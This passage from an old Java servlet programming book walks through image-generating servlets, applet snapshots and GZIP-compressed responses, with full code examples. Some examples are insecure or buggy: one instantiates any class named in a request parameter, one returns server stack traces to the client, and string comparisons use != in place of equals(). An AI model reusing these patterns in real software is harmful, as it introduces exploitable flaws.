  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    ServletOutputStream out = res.getOutputStream();

    try {
      // Get the image location from the path info
      String source = req.getPathTranslated();
      if (source == null) {
        throw new ServletException("Extra path information " +
                                   "must point to an image");
      }

      // Load the image (from bytes to an Image object)
      MediaTracker mt = new MediaTracker(frame);  // frame acts as ImageObserver
      Image image = Toolkit.getDefaultToolkit().getImage(source);
      mt.addImage(image, 0);
      try {
        mt.waitForAll();
      }
      catch (InterruptedException e) {
        getServletContext().log(e, "Interrupted while loading image");
        throw new ServletException(e.getMessage());
      }

      // Construct a matching-size off screen graphics context
      int w = image.getWidth(frame);
      int h = image.getHeight(frame);
      Image offscreen = frame.createImage(w, h);
      g = offscreen.getGraphics();

      // Draw the image to the off-screen graphics context
      g.drawImage(image, 0, 0, frame);

      // Write CONFIDENTIAL over its top
      g.setFont(new Font("Monospaced", Font.BOLD | Font.ITALIC, 30));
      g.drawString("CONFIDENTIAL", 10, 30);

      // Encode the off-screen graphics into a GIF and send it to the client
      res.setContentType("image/gif");
      GifEncoder encoder = new GifEncoder(offscreen, out);
      encoder.encode();
    }
    finally {
      // Clean up resources
      if (g != null) g.dispose();
    }
  }

  public void destroy() {
    // Clean up resources
    if (frame != null) frame.removeNotify();
  }
}

Figure 6-3. Drawing over an image to mark it confidential

You can see that this servlet performs each step exactly as described above, along with some additional housekeeping. The servlet creates its unshown Frame in its init() method. Creating the Frame once and reusing it is an optimization previously left out for the sake of clarity. For each request, the servlet begins by retrieving the name of the preexisting image from the extra path information. Then it retrieves a reference to the image with the getImage() method of Toolkit and physically loads it into memory with the help of a MediaTracker. Normally it's fine for an image to load asynchronously with its partial results painted as it loads, but in this case we paint the image just once and need to guarantee it's fully loaded beforehand. Then the servlet gets the width and height of the loaded image and creates an off-screen image to match. Finally, the big moment: the loaded image is drawn on top of the newly constructed, empty image. After that it's old hat. The servlet writes its big "CONFIDENTIAL" and encodes the image for transmission.

Notice how this servlet handles error conditions by throwing exceptions and logging any errors that may interest the server administrator. When returning images, it's difficult to do much more. After all, a textual description doesn't help when a servlet is referenced in an <IMG> tag. This approach allows the server to do whatever it deems appropriate.

6.1.2.2. Combining images

A servlet can also combine images into one conglomerate image. Using this ability, a building locator servlet could display an employee's smiling face over her office, instead of a red dot. The technique used for combining images is similar to the one we used to draw over the top of an image: the appropriate images are loaded, they're drawn onto a properly created Image object, and that image is encoded for transmission.

Example 6-4 shows how to do this for a servlet that displays a hit count as a sequence of individual number images combined into one large image. Its output can be seen in Figure 6-4. The number images it uses are available at http://www.geocities.com/SiliconValley/6742/, along with several other styles.

Example 6-4. Combining images to form a graphical counter

import java.awt.*;
import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

import Acme.JPM.Encoders.GifEncoder;

public class GraphicalCounter extends HttpServlet {

  public static final String DIR = "/images/odometer";
  public static final String COUNT = "314159";

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    ServletOutputStream out = res.getOutputStream();

    Frame frame = null;
    Graphics g = null;

    try {
      // Get the count to display, must be sole value in the raw query string
      // Or use the default
      String count = (String)req.getQueryString();
      if (count == null) count = COUNT;

      int countlen = count.length();
      Image images[] = new Image[countlen];

      for (int i = 0; i < countlen; i++) {
        String imageSrc =
          req.getRealPath(DIR + "/" + count.charAt(i) + ".GIF");
        images[i] = Toolkit.getDefaultToolkit().getImage(imageSrc);
      }

      // Create an unshown Frame
      frame = new Frame();
      frame.addNotify();

      // Load the images
      MediaTracker mt = new MediaTracker(frame);
      for (int i = 0; i < countlen; i++) {
        mt.addImage(images[i], i);
      }
      try {
        mt.waitForAll();
      }
      catch (InterruptedException e) {
        getServletContext().log(e, "Interrupted while loading image");
        throw new ServletException(e.getMessage());
      }

      // Check for problems loading the images
      if (mt.isErrorAny()) {
        // We had a problem, find which image(s)
        StringBuffer problemChars = new StringBuffer();
        for (int i = 0; i < countlen; i++) {
          if (mt.isErrorID(i)) {
            problemChars.append(count.charAt(i));
          }
        }
        throw new ServletException(
          "Could not load an image for these characters: " +
          problemChars.toString());
      }

      // Get the cumulative size of the images
      int width = 0;
      int height = 0;
      for (int i = 0; i < countlen; i++) {
        width += images[i].getWidth(frame);
        height = Math.max(height, images[i].getHeight(frame));
      }

      // Get a graphics region to match, using the Frame
      Image image = frame.createImage(width, height);
      g = image.getGraphics();

      // Draw the images
      int xindex = 0;
      for (int i = 0; i < countlen; i++) {
        g.drawImage(images[i], xindex, 0, frame);
        xindex += images[i].getWidth(frame);
      }

      // Encode and return the composite
      res.setContentType("image/gif");
      GifEncoder encoder = new GifEncoder(image, out);
      encoder.encode();
    }
    finally {
      // Clean up resources
      if (g != null) g.dispose();
      if (frame != null) frame.removeNotify();
    }
  }
}

Figure 6-4. Combining images to form a graphical counter

This servlet receives the number to display by reading its raw query string. For each number in the count, it retrieves and loads the corresponding number image from the directory given by DIR. (DIR is always under the server's document root. It's given as a virtual path and translated dynamically to a real path.) Then it calculates the combined width and the maximum height of all these images and constructs an off-screen image to match. The servlet draws each number image into this off-screen image in turn from left to right. Finally, it encodes the image for transmission.

To be of practical use, this servlet must be called by another servlet that knows the hit count to be displayed. For example, it could be called by a server-side include servlet embedded in a page, using syntax like the following:

<IMG SRC="/servlet/GraphicalCounter?121672">

This servlet handles error conditions in the same way as the previous servlet, by throwing a ServletException and leaving it to the server to behave appropriately.

6.1.3. Image Effects

We've seen how servlets can create and combine images. In this section, we look at how servlets can also perform special effects on images. For example, a servlet can reduce the transmission time for an image by scaling down its size before transmission. Or it can add some special shading to an image to make it resemble a pressable button. As an example, let's look at how a servlet can convert a color image to grayscale.

6.1.3.1. Converting an image to grayscale

Example 6-5 shows a servlet that converts an image to grayscale before returning it. The servlet performs this effect without ever actually creating an off-screen graphics context. Instead, it creates the image using a special ImageFilter. (We'd show you before and after images, but they wouldn't look very convincing in a black-and-white book.)

Example 6-5. An image effect converting an image to grayscale

import java.awt.*;
import java.awt.image.*;
import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

import Acme.JPM.Encoders.*;

public class DeColorize extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("image/gif");
    ServletOutputStream out = res.getOutputStream();

    // Get the image location from the path info
    String source = req.getPathTranslated();
    if (source == null) {
      throw new ServletException("Extra path information " +
                                 "must point to an image");
    }

    // Construct an unshown frame
    // No addNotify() because its peer isn't needed
    Frame frame = new Frame();

    // Load the image
    Image image = Toolkit.getDefaultToolkit().getImage(source);
    MediaTracker mt = new MediaTracker(frame);
    mt.addImage(image, 0);
    try {
      mt.waitForAll();
    }
    catch (InterruptedException e) {
      getServletContext().log(e, "Interrupted while loading image");
      throw new ServletException(e.getMessage());
    }

    // Get the size of the image
    int width = image.getWidth(frame);
    int height = image.getHeight(frame);

    // Create an image to match, run through a filter
    Image filtered = frame.createImage(
      new FilteredImageSource(image.getSource(),
                              new GrayscaleImageFilter()));

    // Encode and return the filtered image
    GifEncoder encoder = new GifEncoder(filtered, out);
    encoder.encode();
  }
}

Much of the code for this servlet matches that of the Confidentializer example. The major difference is shown here:

// Create an image to match, run through a filter
Image filtered = frame.createImage(
  new FilteredImageSource(image.getSource(),
                          new GrayscaleImageFilter()));

This servlet doesn't use the createImage(int,int) method of Component we've used up until now. It takes advantage of the createImage(ImageProducer) method of Component instead. The servlet creates an image producer with a FilteredImageSource that passes the image through an GrayscaleImageFilter. This filter converts each color pixel to its grayscale counterpart. Thus, the image is converted to grayscale as it is being created. The code for the GrayscaleImageFilter is shown in Example 6-6.

Example 6-6. The GrayscaleImageFilter class

import java.awt.*;
import java.awt.image.*;

public class GrayscaleImageFilter extends RGBImageFilter {

  public GrayscaleImageFilter() {
    canFilterIndexColorModel = true;
  }

  // Convert color pixels to grayscale
  // The algorithm matches the NTSC specification
  public int filterRGB(int x, int y, int pixel) {

    // Get the average RGB intensity
    int red = (pixel & 0x00ff0000) >> 16;
    int green = (pixel & 0x0000ff00) >> 8;
    int blue = pixel & 0x000000ff;

    int luma = (int) (0.299 * red + 0.587 * green + 0.114 * blue);

    // Return the luma value as the value for each RGB component
    // Note: Alpha (transparency) is always set to max (not transparent)
    return (0xff << 24) | (luma << 16) | (luma << 8) | luma;
  }
}

For each value in the colormap, this filter receives a pixel value and returns a new filtered pixel value. By setting the canFilterIndexColorModel variable to true, we signify that this filter can operate on the colormap and not on individual pixel values. The pixel value is given as a 32-bit int, where the first octet represents the alpha (transparency) value, the second octet the intensity of red, the third octet the intensity of green, and the fourth octet the intensity of blue. To convert a pixel value to grayscale, the red, green, and blue intensities must be set to identical values. We could average the red, green, and blue values and use that average value for each color intensity. That would convert the image to grayscale. Taking into account how people actually perceive color (and other factors), however, demands a weighted average. The 0.299, 0.587, 0.114 weighting used here matches that used by the National Television Systems Committee for black-and-white television. For more information, see Charles A. Poynton's book A Technical Introduction to Digital Video (Wiley)and the web site http://www.color.org.

6.1.3.2. Caching a converted image

The process of creating and encoding an image can be expensive, taking both time and server CPU cycles. Caching encoded images can often improve performance dramatically. Instead of doing all the work for every request, the results can be saved and resent for subsequent requests. The clock face idea that we mentioned earlier is a perfect example. The clock image needs to be created at most once per minute. Any other requests during that minute can be sent the same image. A chart for vote tabulation is another example. It can be created once and changed only as new votes come in.

For our example, let's give the DeColorize servlet the ability to cache the grayscale images it returns. The servlet life cycle makes this extremely simple. Our new DeColorize servlet saves each converted image as a byte array stored in a Hashtable keyed by the image name. First, our servlet needs to create a Hashtable instance variable. This must be declared outside doGet():

Hashtable gifs = new Hashtable();

To fill this hashtable, we need to capture the encoded graphics. So, instead of giving the GifEncoder the ServletOutputStream, we give it a ByteArrayOutputStream. Then, when we encode the image with encode(), the encoded image is stored in the ByteArrayOutputStream. Finally, we store the captured bytes in the hashtable and then write them to the ServletOutputStream to send the image to the client. Here's the new code to encode, store, and return the filtered image:

// Encode, store, and return the filtered image
ByteArrayOutputStream baos = new ByteArrayOutputStream();
GifEncoder encoder = new GifEncoder(filtered, baos);
encoder.encode();
gifs.put(source, baos);
baos.writeTo(out);

This fills the hashtable with encoded images keyed by image name. Now, earlier in the servlet, we can go directly to the cache when asked to return a previously encoded image. This code should go immediately after the code executed if source==null:

// Short circuit if it's been done before
if (gifs.containsKey(source)) {
  ByteArrayOutputStream baos = (ByteArrayOutputStream) gifs.get(source);
  baos.writeTo(out);
  return;
}

With these modifications, any image found in the cache is returned quickly, directly from memory.

Of course, caching multiple images tends to consume large amounts of memory. To cache a single image is rarely a problem, but a servlet such as this should use some method for cleaning house. For example, it could cache only the 10 most recently requested images.

6.1.4. Image Effects in Filter Chains

We haven't talked about filter chains yet in this chapter, but they are actually quite useful for performing image effects. If you recall, a servlet in a filter chain receives content on its input stream and sends a filtered version of that content out its output stream. In previous examples, we have always filtered textual HTML. Now we can see how to filter images in a servlet chain.

Performing special effects on an image works the same whether it happens in a filter chain or in a standard servlet. The only difference is that instead of loading the image from a file, a chained servlet receives its image as an encoded stream of bytes. Example 6-7 shows how a servlet receives an encoded stream of bytes and creates an Image from them. In this case, the servlet shrinks the image to one-quarter its original size.

Example 6-7. Shrinking an image using a filter chain

import java.awt.*;
import java.awt.image.*;
import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

import Acme.JPM.Encoders.*;

public class ShrinkFilter extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    ServletOutputStream out = res.getOutputStream();

    String contentType = req.getContentType();
    if (contentType == null || !contentType.startsWith("image")) {
      throw new ServletException("Incoming content type must be \"image/*\"");
    }

    // Fetch the bytes of the incoming image
    DataInputStream in = new DataInputStream(
                         new BufferedInputStream(
                         req.getInputStream()));
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    byte[] buf = new byte[4 * 1024];  // 4K buffer
    int len;
    while ((len = in.read(buf, 0, buf.length)) != -1) {
      baos.write(buf, 0, len);
    }

    // Create an image out of them
    Image image = Toolkit.getDefaultToolkit()
                            .createImage(baos.toByteArray());

    // Construct an unshown frame
    // No addNotify() since it's peer isn't needed
    Frame frame = new Frame();

    // Load the image, so we can get a true width and height
    MediaTracker mt = new MediaTracker(frame);
    mt.addImage(image, 0);
    try {
      mt.waitForAll();
    }
    catch (InterruptedException e) {
      getServletContext().log(e, "Interrupted while loading image");
      throw new ServletException(e.getMessage());
    }

    // Shrink the image to half its width and half its height.
    // An improved version of this servlet would receive the desired
    // ratios in its init parameters.
    // We could also resize using ReplicateScaleFilter or
    // AreaAveragingScaleFilter.
    Image shrunk = image.getScaledInstance(image.getWidth(frame) / 2,
                                           image.getHeight(frame) / 2,
                                           image.SCALE_DEFAULT);

    // Encode and return the shrunken image
    res.setContentType("image/gif");
    GifEncoder encoder = new GifEncoder(shrunk, out);
    encoder.encode();
  }
}

The createImage(byte[]) method of Toolkit creates an Image from an array of bytes. The method determines the image format automatically, as long as the image is in one of the formats understood and decodable by the AWT (typically GIF, JPEG, and XBM, although it's possible to add a custom content handler).

The servlet uses the createImage() method to create an Image out of the incoming bytes. Because the createImage() method doesn't accept an input stream, the servlet first captures the bytes with a ByteArrayOutputStream. After creating the Image, the servlet loads it in order to get its true width and height. Then the servlet gets a scaled instance that is half as wide and half as tall, using the getScaledInstance() method of Image. Last, it encodes the image and sends it out its output stream.

Why use a filter chain to perform an image effect instead of a standard servlet? The main reason is for increased flexibility. For example, a server can be told that all the large classified images in one subdirectory should be run through a "shrink" filter and a "confidential tag" filter. Closer to reality, the server can be told that any image on the web site should be served in its "shrunken" form if the request URI begins with "/lite". Another possibility is to tell the server that all images of type image/xbm need to be run through a basic filter that converts the XBM image into a GIF.

Are you wondering why we aren't taking advantage of object serialization to pass our image from servlet to servlet? The reason is simple: images are not Serializ-able. If a servlet can guarantee that the next link in the chain is another servlet and not the client, though, then it can pass the Image more efficiently using techniques described in Chapter 11, "Interservlet Communication".

6.1.5. An Image of an Embedded Applet

Now let's take a look at one of the more creative ways a servlet can generate an image: by taking a picture of an embedded applet. Applets are small Java programs that can be sent to a client for execution inside a web page--they've been used to create everything from animations to interactive programs to static charts. Here we're going to twist their use a bit. Instead of having the server send a program to the client for execution, we have it send just a picture of the program executing on the server. Now we'll admit that replacing an executing applet with an image is hardly a fair trade, but it does has its advantages. For a static, noninteractive applet, it's often more efficient to send its image than to send the code and data needed to have the client create the image itself. Plus, the image displays even for clients whose browsers don't support Java or who may have Java support disabled.

6.1.5.1. An image of a simple applet

Example 6-8 shows an applet that may look familiar to you. It's the SecondApplet example taken from David Flanagan's Java Examples in a Nutshell book (O'Reilly). Figure 6-5 shows its "fancy graphics."

Example 6-8. A simple applet

import java.applet.*;
import java.awt.*;

public class SecondApplet extends Applet {
  static final String message = "Hello World";
  private Font font;

  // One-time initialization for the applet
  // Note: no constructor defined.
  public void init() {
    font = new Font("Helvetica", Font.BOLD, 48);
  }

  // Draw the applet whenever necessary. Do some fancy graphics.
  public void paint(Graphics g) {
    // The pink oval
    g.setColor(Color.pink);
    g.fillOval(10, 10, 330, 100);

    // The red outline. Java doesn't support wide lines, so we
    // try to simulate a 4-pixel-wide line by drawing four ovals.
    g.setColor(Color.red);
    g.drawOval(10,10, 330, 100);
    g.drawOval(9, 9, 332, 102);
    g.drawOval(8, 8, 334, 104);
    g.drawOval(7, 7, 336, 106);

    // The text
    g.setColor(Color.black);
    g.setFont(font);
    g.drawString(message, 40, 75);
  }
}

Figure 6-5. The simple applet's fancy graphics

This applet can be embedded the traditional way inside an HTML file with the <APPLET> tag:

<APPLET CODE="SecondApplet.class" WIDTH=500 HEIGHT=200>
</APPLET>

An <APPLET> tag can include a CODEBASE parameter that tells the client where to fetch the given class. Because the previous <APPLET> tag does not provide a CODEBASE parameter, the SecondApplet.class file is assumed to be in the same directory as the HTML file.

This applet can also be embedded inside HTML content returned by a servlet:

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class SecondAppletHtml extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/html");
    PrintWriter out = res.getWriter();

    // ...
    out.println("<APPLET CODE=SecondApplet.class CODEBASE=/ " +
                "WIDTH=500 HEIGHT=200>");
    out.println("</APPLET>");
    // ...
  }
}

Notice that here the CODEBASE parameter must be supplied. If it's not given, the code base is erroneously assumed to be /servlet or whatever other virtual path was used to launch the servlet.

Now let's look at a servlet that embeds SecondApplet inside itself and sends a picture of the applet to the client. The code is shown in Example 6-9 and its output in Figure 6-6. In order to embed an applet, a servlet needs a special Frame subclass that implements AppletContext and AppletStub. For these examples, we can use a modified version of Jef Poskanzer's Acme.MainFrame class. In addition to some minor bug fixes, the class has been modified to not call its own show() method (to keep it from actually displaying during execution) and to call the applet's init() and start() methods synchronously instead of in a separate thread (to guarantee the applet is ready when we call its paint() method). A copy of Acme.MainFrameModified is available with the book examples as described in the the Preface.

Example 6-9. Embedding SecondApplet

import java.applet.*;
import java.awt.*;
import java.awt.image.*;
import java.io.*;
import java.net.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

import Acme.JPM.Encoders.GifEncoder;
import Acme.MainFrameModified;

public class SecondAppletViewer extends HttpServlet {

  static final int WIDTH = 450;
  static final int HEIGHT = 320;
  static final String APPLETNAME = "SecondApplet";

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    ServletOutputStream out = res.getOutputStream();

    MainFrameModified frame = null;
    Graphics g = null;
    Applet applet = null;

    try {
      // Load the SecondApplet
      // Must be in the standard CLASSPATH
      try {
        applet = (Applet) Class.forName(APPLETNAME).newInstance();
      }
      catch (Exception e) {
        throw new ServletException("Could not load applet:" + e);
      }

      // Prepare the applet arguments
      String args[] = new String[1];
      args[0] = "barebones=true";  // run without a menu bar

      // Put the applet in its frame
      // addNotify() is called by MainFrameModified
      frame = new MainFrameModified(applet, args, WIDTH, HEIGHT);

      // Get a graphics region to match the applet size, using the Frame
      Image image = frame.createImage(WIDTH, HEIGHT);
      g = image.getGraphics();

      // Ask the applet to paint itself
      applet.validate();
      applet.paint(g);

      // Encode and return what it painted
      res.setContentType("image/gif");
      GifEncoder encoder = new GifEncoder(image, out);
      encoder.encode();
    }
    finally {
      // Clean up resources
      if (applet != null) {
        applet.stop();
        applet.destroy();
        applet.removeAll();
      }
      if (g != null) {
        g.dispose();
      }
      if (frame != null) {
        frame.removeAll();
        frame.removeNotify();
        frame.dispose();
      }
    }
  }
}

Figure 6-6. Another view of the simple applet's fancy graphics

This servlet begins by dynamically loading the SecondApplet class and creating a single instance of it. For SecondApplet to be found, it must be somewhere in the server's standard CLASSPATH--which for the Java Web Server by default excludes the server_root/servlets directory. Then the servlet prepares the applet's arguments. These are passed to the MainFrameModified constructor as an array of "name=value" strings. SecondApplet takes no parameters, so this step would seem to be unnecessary. However, MainFrameModified piggy-backs into the argument list its own "barebones" argument, which we set to true to indicate it should display the applet without any special decoration. Finally, the servlet creates an appropriately sized off-screen graphics context, has the applet paint itself using that context, and encodes the image for transmission to the client.

6.1.5.2. A generic applet viewer

We can build on this example to develop a generic servlet capable of embedding and taking a picture of any applet. It can accept as request parameters the applet name, its width and height, and its parameters. Example 6-10 contains the code.

Example 6-10. A generic applet viewer

import java.applet.*;
import java.awt.*;
import java.awt.image.*;
import java.io.*;
import java.net.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

import Acme.JPM.Encoders.GifEncoder;
import Acme.MainFrameModified;

public class AppletViewer extends HttpServlet {

  static final int WIDTH = 450;
  static final int HEIGHT = 320;

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    ServletOutputStream out = res.getOutputStream();

    MainFrameModified frame = null;
    Graphics g = null;
    Applet applet = null;

    try {
      String appletParam = req.getParameter("applet");
      String widthParam = req.getParameter("width");
      String heightParam = req.getParameter("height");

      // Load the given applet
      // Must be in the standard CLASSPATH
      try {
        applet = (Applet) Class.forName(appletParam).newInstance();
      }
      catch (Exception e) {
        throw new ServletException("Could not load applet:" + e);
      }

      // Convert width/height to integers
      // Use default values if they weren't given or there's a problem
      int width = WIDTH;
      int height = HEIGHT;
      try { width = Integer.parseInt(widthParam); }
      catch (NumberFormatException e) { /* leave as default */ }
      try { height = Integer.parseInt(heightParam); }
      catch (NumberFormatException e) { /* leave as default */ }

      // Get a list of the other parameters in a format MainFrame understands
      // (Specifically, an array of "name=value" Strings)
      Vector temp = new Vector();
      Enumeration names = req.getParameterNames();
      while (names.hasMoreElements()) {
        String name = (String) names.nextElement();
        if (name != "applet" && name != "width" && name != "height")
          temp.addElement(name + "=" + req.getParameter(name));
      }
      temp.addElement("barebones=true");  // run without a menu bar
      // Now from Vector to array
      int size = temp.size();
      String args[] = new String[size];
      for (int i = 0; i < size; i++) {
        args[i] = (String) temp.elementAt(i);
      }

      // Put the applet in its frame
      // addNotify() is called by MainFrameModified
      frame = new MainFrameModified(applet, args, width, height);

      // Get a graphics region to match the applet size, using the Frame
      Image image = frame.createImage(width, height);
      g = image.getGraphics();

      // Ask the applet to paint its children and itself
      applet.validate();
      paintContainerChildren(g, applet);
      applet.paint(g);

      // Encode and return what it painted
      res.setContentType("image/gif");
      GifEncoder encoder = new GifEncoder(image, out);
      encoder.encode();
    }
    finally {
      // Clean up resources
      if (applet != null) {
        applet.stop();
        applet.destroy();
        applet.removeAll();
      }
      if (g != null) {
        g.dispose();
      }
      if (frame != null) {
        frame.removeAll();
        frame.removeNotify();
        frame.dispose();
      }
    }
  }

  // Recursively paints all the Components of a Container.
  // It's different from paintComponents(Graphics) because
  // paintComponents(Graphics) does not paint to the passed-in
  // Graphics! It uses it only to get the clipping region.
  void paintContainerChildren(Graphics g, Container c) {
    Component[] children = c.getComponents();
    for (int i = 0; i < children.length; i++) {
      if (children[i] != null) {
        children[i].paintAll(g);  // get lightweights too
        if (children[i] instanceof Container) {
          paintContainerChildren(g, (Container)children[i]);
        }
      }
    }
  }

}

There are two major differences between this servlet and SecondAppletViewer: how it handles parameters and how it paints the applet's components. All the details, from the applet's name to its parameters, are passed to this servlet via request parameters. It receives the name of the applet as the "applet" parameter and its width and height as the "width" and "height" parameters; it passes all the other parameters on to the applet itself.

The painting is more radically different. This servlet uses a custom-built paintContainerChildren() utility method to paint all the components of the applet. For the servlet to call applet.paintComponents(g) is not sufficient because paintComponents(g) does not paint to the passed-in Graphics object! Instead, it uses the Graphics parameter only to get a clipping region. This servlet also uses paintAll() instead of paint(), so that it correctly paints lightweight components. Note that for this technique to work well, the embedded applet has to fully paint itself during its first paint() invocation. It can't display a splash screen or perform a lazy load of its images.

The AppletViewer servlet can replace SecondAppletViewer. Just invoke it with the URL http://server:port/servlet/AppletViewer?applet=SecondApplet. It can also replace our SimpleChart example. Remember when we said JavaChart includes a set of free chart-generating applets? We can use AppletViewer to embed any of these free applets and send the resulting chart as an image to the client. To duplicate the SimpleChart example requires this lengthy URL (split into separate lines for readability, probably so long that many servers won't be able to handle it):

http://server:port/servlet/AppletViewer?
applet=javachart.applet.columnApp&
titleFont=TimesRoman%2c24%2c0&
titleString=Comparing+Apples+And+Oranges&
xAxisTitle=Year&
yAxisTitle=Tons+Consumed&
xAxisLabels=1993%2c1994%2c1995%2c1996%2c1997&
dataset0yValues=950%2c1005%2c1210%2c1165%2c1255&
dataset1yValues=1435%2c1650%2c1555%2c1440%2c1595&
dataset0Color=red&
dataset0Name=Apples&
dataset1Color=orange&
dataset1Name=Oranges&
legendOn=yes&
legendHorizontal=true&
legendllX=0.4&
legendllY=0.75&
iconHeight=0.04&
iconWidth=0.04&
iconGap=0.02&
xAxisOptions=gridOff&
yAxisOptions=gridOff

The graph generated by this URL looks identical to Figure 6-2 shown earlier (with the one difference that the applet version contains a blue dot in the lower right corner that can be removed with the purchase of a JavaChart license).

6.1.5.3. Advantages and disadvantages

We think you'll agree that embedding an applet in a servlet has a certain coolness factor. But is it ever practical? Let's look over its advantages and disadvantages. First, the advantages:

It can save money.

Hey, the JavaChart applets are free, and Visual Engineering assured us that this use doesn't violate their license!

It can save download time.

Why send all the code and data needed to make an image when you can send the image itself, especially when the image can be pregenerated?

It works for every client.

It works even when the client browser doesn't support Java or has Java disabled.

However, on the downside:

It requires extra resources on the server.

Specifically it consumes CPU power and memory.

It works well for only a few applets.

Specifically it works best on static, noninteractive applets that fully paint themselves with their first paint() invocation.

Previous | Home | Next
5.7. When Things Go Wrong | Book Index | 6.2. Compressed Content
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Compressed Content (Java Servlet Programming)

 Java Servlet Programming Search this book

6.2. Compressed Content

The java.util.zip package was introduced in JDK 1.1. This package contains classes that support reading and writing the GZIP and ZIP compression formats. Although these classes were added to support Java Archive (JAR) files, they also provide a convenient, standard way for a servlet to send compressed content.

Compressed content doesn't look any different to the end user because it's decompressed by the browser before it's displayed. Yet, while it looks the same, it can improve the end user's experience by reducing the time required to download the content from the server. For heavily compressable content such as HTML, compression can reduce transmission times by an order of magnitude. Quite a trick! Just bear in mind that to compress content dynamically forces the server to perform extra work, so any speed-up in transmission time has to be weighed against slower server performance.

By now you should be familiar with the idea that a servlet can send a Content-Type header as part of its response to tell the client the type of information being returned. To send compressed content, a servlet must also send a Content-Encoding header to tell the client the scheme by which the content has been encoded. Under the HTTP 1.0 specification, the possible encoding schemes are gzip (or x-gzip) and compress (or x-compress) for GZIP and ZIP compression formats, respectively.

Not all clients understand the gzip and compress encodings. To tell the server which encoding schemes it understands, a client may send an Accept-Encoding header that specifies acceptable encoding schemes as a comma-separated list. Most browsers do not yet provide this header--even those that do support compressed encodings. For now, a servlet has to decide that without the header it won't send compressed content, or it has to examine the User-Agent header to see if the browser is one that supports compression. Of the current popular browsers, only Netscape Navigator 3 and 4 on Unix and Microsoft Internet Explorer 4 on Windows support GZIP encoding, and none support ZIP encoding.

Although negotiating which compression format to use can involve a fair amount of logic, actually sending the compressed content could hardly be simpler. The servlet just wraps its standard ServletOutputStream with a GZIPOutputStream or ZipOutputStream . Be sure to call out.close() when your servlet is done writing output, so that the appropriate trailer for the compression format is written. Ah, the wonders of Java!

Example 6-11 shows the ViewFile servlet from Chapter 4, "Retrieving Information" rewritten to send compressed content whenever possible. We'd show you a screen shot, but there's nothing new to see. As we said before, an end user cannot tell that the server sent compressed content to the browser--except perhaps with reduced download times.

Example 6-11. Sending compressed content

import java.io.*;
import java.util.*;
import java.util.zip.*;
import javax.servlet.*;
import javax.servlet.http.*;

import com.oreilly.servlet.ServletUtils;

public class ViewFileCompress extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {

    OutputStream out = null;

    // Select the appropriate content encoding based on the
    // client's Accept-Encoding header. Choose GZIP if the header
    // includes "gzip". Choose ZIP if the header includes "compress".
    // Choose no compression otherwise.
    String encodings = req.getHeader("Accept-Encoding");
    if (encodings != null && encodings.indexOf("gzip") != -1) {
      // Go with GZIP
      res.setHeader("Content-Encoding", "gzip");
      out = new GZIPOutputStream(res.getOutputStream());
    }
    else if (encodings != null && encodings.indexOf("compress") != -1) {
      // Go with ZIP
      res.setHeader("Content-Encoding", "x-compress");
      out = new ZipOutputStream(res.getOutputStream());
      ((ZipOutputStream)out).putNextEntry(new ZipEntry("dummy name"));
    }
    else {
      // No compression
      out = res.getOutputStream();
    }
    res.setHeader("Vary", "Accept-Encoding");

    // Get the file to view
    String file = req.getPathTranslated();

    // No file, nothing to view
    if (file == null) {
      res.sendError(res.SC_FORBIDDEN);
      return;
    }

    // Get and set the type of the file
    String contentType = getServletContext().getMimeType(file);
    res.setContentType(contentType);

    // Return the file
    try {
      ServletUtils.returnFile(file, out);
    }
    catch (FileNotFoundException e) {
      res.sendError(res.SC_NOT_FOUND);
      return;
    }
    catch (IOException e) {
      getServletContext().log(e, "Problem sending file");
      res.sendError(res.SC_INTERNAL_SERVER_ERROR,
                    ServletUtils.getStackTraceAsString(e));
    }

    // Write the compression trailer and close the output stream
    out.close();
  }
}

The servlet begins by declaring a nullOutputStream and then setting this OutputStream to a GZIPOutputStream, ZipOutputStream, or ServletOutput-Stream, depending on the received Accept-Encoding header. As it selects which output stream to use, the servlet sets the Content-Encoding header accordingly. When sending compressed content, this header must be set for the client to run the appropriate decompression algorithm. The servlet also sets the Vary header to the value Accept-Encoding to be polite and indicate to the client that the servlet varies its output depending on the Accept-Encoding header. Most clients ignore this header.

After this early logic, the servlet can treat the output stream as just another OutputStream. It could wrap the stream with a PrintStream or PrintWriter, or it could pass it to a GifEncoder. But, no matter what it does, the servlet has to be sure to call out.close() when it's finished sending content. This call writes the appropriate trailer to the compressed stream.

There is some content that should not be compressed. For example, GIF and JPEG images are already compressed as part of their encoding, so there's no benefit in compressing them again. An improved version of the FileViewCompressed servlet would detect when it's returning an image and not bother with an attempt at further compression. Another improvement would be to rewrite this servlet as a filter--compressing whatever content is piped through it.

Previous | Home | Next
6.1. Images | Book Index | 6.3. Server Push
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Server Push (Java Servlet Programming)

 Java Servlet Programming Search this book

6.3. Server Push

Up until now, every page returned by a servlet has been just that: a page. Always one page with one content type. But why think in such limited terms? Why not have a servlet return several pages, each with a different content type, all in response to the same request? It may be hard to imagine--and sound even harder to implement--but it's actually quite easy using a technique known as server push.

It's called server push because the server sends, or pushes, a sequence of response pages to the client. Compare this to the client pull technique discussed in the last chapter, where it's left to the client to get, or pull, each page from the server. Although the results of each technique are similar to the end user--the appearance of a sequence of pages--the implementation details and the appropriate uses of the two techniques are quite different.

